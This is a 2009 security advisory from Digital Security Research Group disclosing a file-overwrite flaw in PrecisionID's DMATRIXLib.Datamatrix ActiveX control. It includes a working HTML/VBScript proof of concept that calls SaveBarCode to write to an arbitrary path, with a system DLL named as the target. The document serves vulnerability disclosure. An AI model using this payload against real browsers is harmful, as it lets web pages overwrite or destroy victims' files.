Digital Security Research Group [DSecRG] Advisory #DSECRG-09-030
!!! original advisory !!!
http://dsecrg.com/pages/vul/DSECRG-09-030.html
Application: PrecisionID activeX controls
Versions Affected:
Vendor URL: http://PrecisionID.com
Bugs: Arbitrary File overwriting
Exploits: YES
Reported: 03.03.2009
Vendor response: NONE
Secondly Reported: 17.03.2009
Vendor response: NONE
Date of Public Advisory: 31.0300.2009
Authors:
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
PrecisionID have activeX control DMATRIXLib.Datamatrix that can be used to overwrite any any file in target system.
Details
*******
This control contains two methods SaveBarCode() SaveEnhWMF() that can be used to owervrite
any file on OS
Sub SaveBarCode (
ByVal path As String
)
Sub SaveEnhWMF (
ByVal path As String
)
*******
Example:
<html>
<object classid=\'clsid:6C951D10-B07F-11DB-A6ED-0050C2490048\' id=\'target\' />
<script language=\'vbscript\'>
targetFile = \"C:\\WINDOWS\\system32\\PRECIS~2.DLL\"
prototype = \"Sub SaveBarCode ( ByVal path As String )\"
memberName = \"SaveBarCode\"
progid = \"DMATRIXLib.Datamatrix\"
argCount = 1
arg1=\"C:\\sh2kerr.pwn\"
target.SaveBarCode arg1
</script>
</html>
Solution
********
http://msdn.microsoft.com/en-us/library/aa751977.aspx
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.dsec.ru
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